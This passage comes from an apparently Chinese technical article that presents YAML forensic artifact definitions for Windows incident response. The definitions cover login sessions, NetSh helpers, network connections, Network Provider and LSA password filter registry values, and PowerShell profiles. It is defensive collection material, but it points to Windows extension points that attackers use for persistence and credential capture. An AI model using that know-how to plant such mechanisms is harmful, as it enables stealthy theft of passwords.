26px;"><span leaf="">&#39;user&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;query&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;session&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;powershell&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-SmbSession&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上与登录信息相关内容收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上登录相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">NetSh.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsNetSh&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NetSh（Network Shell） 是 Windows 自带的一个强大的命令行网络配置工具。\n攻击者可能注册帮助程序来进行权限维持。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/" target="_blank">https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/</a>&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 NetSh 帮助程序信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Network.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsNetwork</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">上网络连接信息。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">netstat</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-a&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-n&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-o&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-b&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">nbtstat</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-NetTCPConnection&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-NetUDPEndpoint&#34;&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">发现 Windows 平台上的网络连接信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">NetworkProvider.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsNetworkProvider&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ProviderOrder&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\HwOrder&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ProviderOrder&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\ProviderOrder&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Network Provider（网络提供者）是 Windows 网络子系统的一个扩展机制，用于实现对网络资源（如共享文件夹、打印机、云盘等）的访问和认证。\n可以在 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ 寻找相关服务。&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Network Provider</span></code><span leaf=""> 相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">PasswordFilter.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsPasswordFilter&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Notification Packages&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Password Filter（密码筛选器） 是 Windows 系统支持的一种可插拔认证扩展机制。\n它允许管理员自定义 DLL，在用户修改/设置密码时对新密码进行审核和处理。&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Password Filter</span></code><span leaf=""> 相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Powershell.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsPSConfig</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Powershell</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">的配置文件信息收集。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;$PROFILE | Select-Object *&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">    <a href="https://learn.microsoft.com/zh-cn/Powershell/module/microsoft.Powershell.core/about/about_profiles?view=Powershell-7.4" target="_blank">https://learn.microsoft.com/zh-cn/Powershell/module/microsoft.Powershell.core/about/about_profiles?view=Powershell-7.4</a></span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsPSAlias</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Powershell</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">的</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Alias</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">信息。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: 